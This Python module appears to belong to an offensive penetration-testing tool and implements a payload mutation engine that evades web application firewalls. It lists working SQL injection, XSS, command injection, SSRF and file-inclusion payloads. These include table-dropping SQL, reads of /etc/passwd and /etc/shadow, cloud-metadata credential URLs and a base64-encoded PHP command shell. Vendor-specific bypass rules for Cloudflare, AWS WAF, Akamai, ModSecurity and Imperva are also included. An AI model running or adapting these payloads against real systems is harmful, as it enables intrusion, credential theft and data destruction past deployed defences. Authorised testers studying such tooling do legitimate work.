"""
AIPTX Beast Mode - Payload Mutation Engine
==========================================

WAF-aware payload generation with automatic bypass detection.
Generates mutation variants based on target context and WAF fingerprint.

Key Features:
- WAF-specific bypass payloads
- Encoding chain mutations
- Context-aware payload selection
- Polyglot generation
- Success rate tracking
"""

from __future__ import annotations

import logging
import random
from dataclasses import dataclass, field
from enum import Enum
from typing import Any, Iterator, Optional

from aipt_v2.exploitation.encoders import (
    chain_encode,
    generate_encoding_variants,
    url_encode,
    double_url_encode,
    base64_encode,
    hex_encode,
    unicode_encode,
    mixed_case,
    sql_char_encode,
    sql_hex_encode,
    js_char_code,
    js_unicode,
    cmd_hex_escape,
    cmd_base64_inline,
)

logger = logging.getLogger(__name__)


class PayloadType(str, Enum):
    """Types of payloads."""
    SQLI = "sqli"
    XSS = "xss"
    CMDI = "cmdi"
    SSRF = "ssrf"
    LFI = "lfi"
    SSTI = "ssti"
    XXE = "xxe"
    DESERIALIZATION = "deserialization"


class MutationType(str, Enum):
    """Types of mutations to apply."""
    ENCODING = "encoding"
    CASE = "case"
    WHITESPACE = "whitespace"
    COMMENT = "comment"
    CONCATENATION = "concatenation"
    ALTERNATIVE_SYNTAX = "alternative_syntax"
    BOUNDARY = "boundary"


@dataclass
class Payload:
    """A single payload with metadata."""
    value: str
    payload_type: PayloadType
    original: str
    mutations_applied: list[str] = field(default_factory=list)
    waf_bypass: str | None = None
    confidence: float = 0.5  # Estimated success probability
    context: str = ""  # e.g., "html_attribute", "sql_string"
    notes: str = ""

    def __str__(self) -> str:
        return self.value


@dataclass
class PayloadSet:
    """Collection of related payloads."""
    name: str
    payload_type: PayloadType
    payloads: list[Payload]
    target_waf: str | None = None
    target_context: str | None = None

    def __iter__(self) -> Iterator[Payload]:
        return iter(self.payloads)

    def __len__(self) -> int:
        return len(self.payloads)

    def sorted_by_confidence(self, reverse: bool = True) -> list[Payload]:
        """Return payloads sorted by confidence."""
        return sorted(self.payloads, key=lambda p: p.confidence, reverse=reverse)


# =============================================================================
# BASE PAYLOADS
# =============================================================================

# SQLi base payloads
SQLI_BASE_PAYLOADS = [
    # Authentication bypass
    "' OR '1'='1",
    "' OR '1'='1'--",
    "' OR '1'='1'/*",
    "' OR 1=1--",
    "' OR 1=1#",
    "admin'--",
    "admin' #",
    "') OR ('1'='1",
    "') OR ('1'='1'--",
    # Union-based
    "' UNION SELECT NULL--",
    "' UNION SELECT NULL,NULL--",
    "' UNION SELECT NULL,NULL,NULL--",
    "' UNION ALL SELECT NULL--",
    "1' ORDER BY 1--",
    "1' ORDER BY 10--",
    # Error-based
    "' AND 1=CONVERT(int,(SELECT @@version))--",
    "' AND extractvalue(1,concat(0x7e,version()))--",
    "' AND updatexml(1,concat(0x7e,version()),1)--",
    # Time-based blind
    "'; WAITFOR DELAY '0:0:5'--",
    "' AND SLEEP(5)--",
    "' OR SLEEP(5)--",
    "'; SELECT SLEEP(5)--",
    # Boolean blind
    "' AND '1'='1",
    "' AND '1'='2",
    "' AND 1=1--",
    "' AND 1=2--",
    # Stacked queries
    "'; INSERT INTO users VALUES('hacker','password')--",
    "'; DROP TABLE users--",
]

# XSS base payloads
XSS_BASE_PAYLOADS = [
    # Basic
    "<script>alert(1)</script>",
    "<script>alert('XSS')</script>",
    "<script>alert(document.domain)</script>",
    # Event handlers
    "<img src=x onerror=alert(1)>",
    "<svg onload=alert(1)>",
    "<body onload=alert(1)>",
    "<input onfocus=alert(1) autofocus>",
    "<marquee onstart=alert(1)>",
    "<video><source onerror=alert(1)>",
    # Without parentheses
    "<img src=x onerror=alert`1`>",
    "<svg onload=alert`1`>",
    # Without quotes
    "<img src=x onerror=alert(String.fromCharCode(88,83,83))>",
    # SVG
    "<svg><script>alert(1)</script></svg>",
    "<svg/onload=alert(1)>",
    # Data URIs
    "<a href=javascript:alert(1)>click</a>",
    "<iframe src=javascript:alert(1)>",
    # Template literals
    "${alert(1)}",
    "{{constructor.constructor('alert(1)')()}}",
]

# Command injection base payloads
CMDI_BASE_PAYLOADS = [
    # Basic
    "; id",
    "| id",
    "|| id",
    "& id",
    "&& id",
    "`id`",
    "$(id)",
    # With output
    "; cat /etc/passwd",
    "| cat /etc/passwd",
    "$(cat /etc/passwd)",
    # Newline based
    "\nid",
    "\n id",
    # Windows
    "& whoami",
    "| type C:\\Windows\\System32\\drivers\\etc\\hosts",
    # Chained
    "127.0.0.1; id",
    "127.0.0.1 | id",
    "127.0.0.1 && id",
]

# SSRF base payloads
SSRF_BASE_PAYLOADS = [
    # Localhost variations
    "http://127.0.0.1",
    "http://localhost",
    "http://127.0.0.1:80",
    "http://127.0.0.1:443",
    "http://127.0.0.1:22",
    "http://127.0.0.1:8080",
    # Alternative localhost
    "http://0.0.0.0",
    "http://0",
    "http://127.1",
    "http://127.0.1",
    "http://2130706433",  # Decimal
    "http://0x7f000001",  # Hex
    "http://0177.0.0.1",  # Octal
    # IPv6
    "http://[::1]",
    "http://[0:0:0:0:0:0:0:1]",
    # Cloud metadata
    "http://169.254.169.254/latest/meta-data/",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://metadata.google.internal/computeMetadata/v1/",
    # Internal networks
    "http://192.168.1.1",
    "http://10.0.0.1",
    "http://172.16.0.1",
    # File protocol
    "file:///etc/passwd",
    "file://localhost/etc/passwd",
    # Gopher
    "gopher://127.0.0.1:6379/_INFO",
]

# LFI base payloads
LFI_BASE_PAYLOADS = [
    # Basic traversal
    "../../../etc/passwd",
    "....//....//....//etc/passwd",
    "..%2f..%2f..%2fetc/passwd",
    "..%252f..%252f..%252fetc/passwd",
    # Null byte (legacy)
    "../../../etc/passwd%00",
    "../../../etc/passwd%00.jpg",
    # PHP wrappers
    "php://filter/convert.base64-encode/resource=index.php",
    "php://filter/read=string.rot13/resource=index.php",
    "php://input",
    "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=",
    "expect://id",
    # Windows
    "..\\..\\..\\windows\\system32\\drivers\\etc\\hosts",
    "....\\\\....\\\\....\\\\windows\\system32\\drivers\\etc\\hosts",
    # Absolute paths
    "/etc/passwd",
    "/etc/shadow",
    "/proc/self/environ",
    "/var/log/apache2/access.log",
]


# =============================================================================
# WAF-SPECIFIC BYPASSES
# =============================================================================

WAF_BYPASS_MUTATIONS: dict[str, dict[str, list[tuple[str, str]]]] = {
    "cloudflare": {
        "sqli": [
            ("OR", "O/**/R"),
            ("AND", "A/**/ND"),
            ("UNION", "UN/**/ION"),
            ("SELECT", "SE/**/LECT"),
            (" ", "/**/"),
            ("'", "%27"),
            ("=", " LIKE "),
        ],
        "xss": [
            ("script", "scr\x00ipt"),
            ("onerror", "oNeRrOr"),
            ("<", "\\x3c"),
            (">", "\\x3e"),
            ("alert", "prompt"),
            ("(", "\\x28"),
        ],
        "cmdi": [
            (";", "%0a"),
            ("|", "%7c"),
            ("cat", "c'a't"),
            (" ", "${IFS}"),
        ],
    },
    "aws_waf": {
        "sqli": [
            ("'", "ʼ"),  # Unicode apostrophe
            ("UNION", "/*!50000UNION*/"),
            ("SELECT", "/*!50000SELECT*/"),
            ("--", "-- -"),
            (" ", "\t"),
        ],
        "xss": [
            ("script", "svg/onload"),
            ("<", "&lt;"),
            ("alert", "confirm"),
            ("onerror", "onmouseover"),
        ],
    },
    "akamai": {
        "sqli": [
            ("'", "\\'"),
            ("UNION", "uNiOn"),
            ("SELECT", "sElEcT"),
            (" ", "/**/"),
            ("OR", "||"),
        ],
        "xss": [
            ("<script>", "<svg onload="),
            ("javascript:", "jav\tascript:"),
            ("alert", "eval"),
        ],
    },
    "modsecurity": {
        "sqli": [
            ("'", "''"),
            ("UNION SELECT", "UNION ALL SELECT"),
            ("--", "#"),
            (" ", "%09"),
            ("OR", "XOR"),
        ],
        "xss": [
            ("script", "SCRIPT"),
            ("<", "<"),
            ("onerror", "ONERROR"),
            ("alert(", "alert(/*"),
        ],
    },
    "imperva": {
        "sqli": [
            ("'", "%bf%27"),  # GBK encoding bypass
            ("UNION", "%55NION"),
            ("SELECT", "%53ELECT"),
            (" ", "%0a"),
        ],
        "xss": [
            ("<", "%3C"),
            (">", "%3E"),
            ("script", "scr%00ipt"),
        ],
    },
}


# =============================================================================
# PAYLOAD ENGINE
# =============================================================================

class PayloadEngine:
    """
    WAF-aware payload mutation engine.

    Generates and mutates payloads based on target context and WAF fingerprint.
    Tracks success rates to optimize payload selection.
    """

    def __init__(self):
        """Initialize the payload engine."""
        self._success_rates: dict[str, float] = {}  # payload_hash -> success_rate
        self._waf_detected: str | None = None

    def generate(
        self,
        payload_type: PayloadType | str,
        waf: str | None = None,
        context: str | None = None,
        max_payloads: int = 50,
        include_encoded: bool = True,
    ) -> PayloadSet:
        """
        Generate a set of payloads for a given type.

        Args:
            payload_type: Type of payload to generate
            waf: Detected WAF type (for bypass mutations)
            context: Injection context (e.g., "html_attribute", "sql_string")
            max_payloads: Maximum payloads to generate
            include_encoded: Include encoded variants

        Returns:
            PayloadSet with generated payloads
        """
        if isinstance(payload_type, str):
            payload_type = PayloadType(payload_type.lower())

        # Get base payloads
        base_payloads = self._get_base_payloads(payload_type)
        payloads: list[Payload] = []

        for base in base_payloads:
            # Add original
            payloads.append(Payload(
                value=base,
                payload_type=payload_type,
                original=base,
                confidence=0.5,
                context=context or "",
            ))

            # Add WAF bypass mutations
            if waf:
                waf_mutations = self._apply_waf_bypass(base, payload_type, waf)
                for mutated, mutations in waf_mutations:
                    payloads.append(Payload(
                        value=mutated,
                        payload_type=payload_type,
                        original=base,
                        mutations_applied=mutations,
                        waf_bypass=waf,
                        confidence=0.6,  # WAF-specific has higher confidence
                        context=context or "",
                    ))

            # Add encoded variants
            if include_encoded:
                encoded_variants = self._apply_encoding_mutations(base, payload_type)
                for encoded, encoding_chain in encoded_variants:
                    payloads.append(Payload(
                        value=encoded,
                        payload_type=payload_type,
                        original=base,
                        mutations_applied=["encoding:" + ",".join(encoding_chain)],
                        confidence=0.4,
                        context=context or "",
                    ))

            if len(payloads) >= max_payloads:
                break

        # Sort by confidence and limit
        payloads = sorted(payloads, key=lambda p: p.confidence, reverse=True)[:max_payloads]

        return PayloadSet(
            name=f"{payload_type.value}_payloads",
            payload_type=payload_type,
            payloads=payloads,
            target_waf=waf,
            target_context=context,
        )

    def generate_sqli(
        self,
        waf: str | None = None,
        dbms: str = "mysql",
        context: str = "string",
    ) -> PayloadSet:
        """Generate SQL injection payloads."""
        payloads = self.generate(PayloadType.SQLI, waf=waf, context=context)

        # Add DBMS-specific payloads
        dbms_specific: list[Payload] = []
        for payload in payloads:
            # Add char-encoded version
            char_encoded = sql_char_encode(payload.original, dbms)
            dbms_specific.append(Payload(
                value=char_encoded,
                payload_type=PayloadType.SQLI,
                original=payload.original,
                mutations_applied=["sql_char_encode"],
                confidence=0.55,
                context=context,
                notes=f"DBMS: {dbms}",
            ))

        payloads.payloads.extend(dbms_specific[:10])
        return payloads

    def generate_xss(
        self,
        waf: str | None = None,
        context: str = "html_body",
    ) -> PayloadSet:
        """Generate XSS payloads."""
        payloads = self.generate(PayloadType.XSS, waf=waf, context=context)

        # Add context-specific payloads
        context_specific: list[Payload] = []

        if context == "html_attribute":
            # Escape attribute context
            for payload in payloads.payloads[:10]:
                escaped = f'" {payload.value} "'
                context_specific.append(Payload(
                    value=escaped,
                    payload_type=PayloadType.XSS,
                    original=payload.original,
                    mutations_applied=["attribute_escape"],
                    confidence=0.6,
                    context=context,
                ))

        elif context == "javascript":
            # JavaScript context
            for payload in payloads.payloads[:10]:
                js_break = f"';{payload.value};//"
                context_specific.append(Payload(
                    value=js_break,
                    payload_type=PayloadType.XSS,
                    original=payload.original,
                    mutations_applied=["js_breakout"],
                    confidence=0.6,
                    context=context,
                ))

        payloads.payloads.extend(context_specific)
        return payloads

    def generate_cmdi(
        self,
        waf: str | None = None,
        os_type: str = "linux",
    ) -> PayloadSet:
        """Generate command injection payloads."""
        payloads = self.generate(PayloadType.CMDI, waf=waf, context=os_type)

        # Add OS-specific payloads
        os_specific: list[Payload] = []

        if os_type == "linux":
            for payload in payloads.payloads[:10]:
                # Add bash-specific escapes
                bash_escaped = cmd_hex_escape(payload.original.split()[-1] if " " in payload.original else payload.original)
                os_specific.append(Payload(
                    value=payload.original.replace(payload.original.split()[-1], bash_escaped) if " " in payload.original else bash_escaped,
                    payload_type=PayloadType.CMDI,
                    original=payload.original,
                    mutations_applied=["bash_hex_escape"],
                    confidence=0.55,
                    context=os_type,
                ))

        payloads.payloads.extend(os_specific[:10])
        return payloads

    def mutate_payload(
        self,
        payload: str,
        payload_type: PayloadType | str,
        mutations: list[MutationType],
        waf: str | None = None,
    ) -> list[Payload]:
        """
        Apply specific mutations to a payload.

        Args:
            payload: Original payload
            payload_type: Type of payload
            mutations: List of mutation types to apply
            waf: Optional WAF type for specific bypasses

        Returns:
            List of mutated Payload objects
        """
        if isinstance(payload_type, str):
            payload_type = PayloadType(payload_type.lower())

        results: list[Payload] = []

        for mutation in mutations:
            if mutation == MutationType.ENCODING:
                variants = generate_encoding_variants(payload)
                for encoded, chain in variants:
                    results.append(Payload(
                        value=encoded,
                        payload_type=payload_type,
                        original=payload,
                        mutations_applied=[f"encoding:{','.join(chain)}"] if chain else [],
                        confidence=0.4,
                    ))

            elif mutation == MutationType.CASE:
                results.append(Payload(
                    value=mixed_case(payload),
                    payload_type=payload_type,
                    original=payload,
                    mutations_applied=["mixed_case"],
                    confidence=0.45,
                ))

            elif mutation == MutationType.WHITESPACE:
                # Replace spaces with alternatives
                whitespace_alts = [
                    payload.replace(" ", "/**/"),
                    payload.replace(" ", "%09"),
                    payload.replace(" ", "%0a"),
                    payload.replace(" ", "+"),
                    payload.replace(" ", "${IFS}"),
                ]
                for ws_payload in whitespace_alts:
                    results.append(Payload(
                        value=ws_payload,
                        payload_type=payload_type,
                        original=payload,
                        mutations_applied=["whitespace_replace"],
                        confidence=0.45,
                    ))

            elif mutation == MutationType.COMMENT:
                if payload_type == PayloadType.SQLI:
                    # Insert SQL comments
                    commented = self._insert_sql_comments(payload)
                    results.append(Payload(
                        value=commented,
                        payload_type=payload_type,
                        original=payload,
                        mutations_applied=["sql_comment"],
                        confidence=0.5,
                    ))

        # Apply WAF-specific mutations
        if waf:
            waf_variants = self._apply_waf_bypass(payload, payload_type, waf)
            for mutated, applied_mutations in waf_variants:
                results.append(Payload(
                    value=mutated,
                    payload_type=payload_type,
                    original=payload,
                    mutations_applied=applied_mutations,
                    waf_bypass=waf,
                    confidence=0.6,
                ))

        return results

    def set_waf(self, waf_type: str):
        """Set detected WAF for subsequent payload generation."""
        self._waf_detected = waf_type.lower()
        logger.info(f"WAF set to: {self._waf_detected}")

    def record_success(self, payload: Payload, success: bool):
        """Record payload success for learning."""
        payload_hash = hash(payload.value)
        current_rate = self._success_rates.get(str(payload_hash), 0.5)

        # Exponential moving average
        alpha = 0.3
        new_rate = alpha * (1.0 if success else 0.0) + (1 - alpha) * current_rate

        self._success_rates[str(payload_hash)] = new_rate
        logger.debug(f"Updated success rate for payload: {new_rate:.2f}")

    def _get_base_payloads(self, payload_type: PayloadType) -> list[str]:
        """Get base payloads for a type."""
        payload_map = {
            PayloadType.SQLI: SQLI_BASE_PAYLOADS,
            PayloadType.XSS: XSS_BASE_PAYLOADS,
            PayloadType.CMDI: CMDI_BASE_PAYLOADS,
            PayloadType.SSRF: SSRF_BASE_PAYLOADS,
            PayloadType.LFI: LFI_BASE_PAYLOADS,
        }
        return payload_map.get(payload_type, [])

    def _apply_waf_bypass(
        self,
        payload: str,
        payload_type: PayloadType,
        waf: str,
    ) -> list[tuple[str, list[str]]]:
        """Apply WAF-specific bypasses to a payload."""
        results = []
        waf_lower = waf.lower()

        if waf_lower not in WAF_BYPASS_MUTATIONS:
            return results

        type_key = payload_type.value
        if type_key not in WAF_BYPASS_MUTATIONS[waf_lower]:
            return results

        mutations = WAF_BYPASS_MUTATIONS[waf_lower][type_key]

        # Apply each mutation
        mutated = payload
        applied = []
        for original, replacement in mutations:
            if original in mutated:
                mutated = mutated.replace(original, replacement)
                applied.append(f"{original}->{replacement}")

        if mutated != payload:
            results.append((mutated, applied))

        # Also try individual mutations
        for original, replacement in mutations:
            if original in payload:
                single_mutated = payload.replace(original, replacement)
                if single_mutated != payload:
                    results.append((single_mutated, [f"{original}->{replacement}"]))

        return results

    def _apply_encoding_mutations(
        self,
        payload: str,
        payload_type: PayloadType,
    ) -> list[tuple[str, list[str]]]:
        """Apply encoding-based mutations."""
        results = []

        # URL encoding
        results.append((url_encode(payload), ["url"]))

        # Double URL encoding
        results.append((double_url_encode(payload), ["double_url"]))

        # Unicode
        results.append((unicode_encode(payload), ["unicode"]))

        # Type-specific encodings
        if payload_type == PayloadType.XSS:
            results.append((js_char_code(payload), ["js_charcode"]))
            results.append((js_unicode(payload), ["js_unicode"]))

        return results

    def _insert_sql_comments(self, payload: str) -> str:
        """Insert SQL comments between keywords."""
        keywords = ["UNION", "SELECT", "AND", "OR", "FROM", "WHERE"]
        result = payload

        for keyword in keywords:
            # Split keyword with comment
            if keyword in result.upper():
                # Find case-insensitive and replace
                import re
                pattern = re.compile(re.escape(keyword), re.IGNORECASE)
                mid = len(keyword) // 2
                replacement = keyword[:mid] + "/**/" + keyword[mid:]
                result = pattern.sub(replacement, result, count=1)

        return result


# Convenience functions
def generate_payloads(
    payload_type: str,
    waf: str | None = None,
    count: int = 50,
) -> PayloadSet:
    """Quick function to generate payloads."""
    engine = PayloadEngine()
    return engine.generate(payload_type, waf=waf, max_payloads=count)


__all__ = [
    "PayloadType",
    "MutationType",
    "Payload",
    "PayloadSet",
    "PayloadEngine",
    "generate_payloads",
    # Base payload lists
    "SQLI_BASE_PAYLOADS",
    "XSS_BASE_PAYLOADS",
    "CMDI_BASE_PAYLOADS",
    "SSRF_BASE_PAYLOADS",
    "LFI_BASE_PAYLOADS",
    # WAF bypass mutations
    "WAF_BYPASS_MUTATIONS",
]
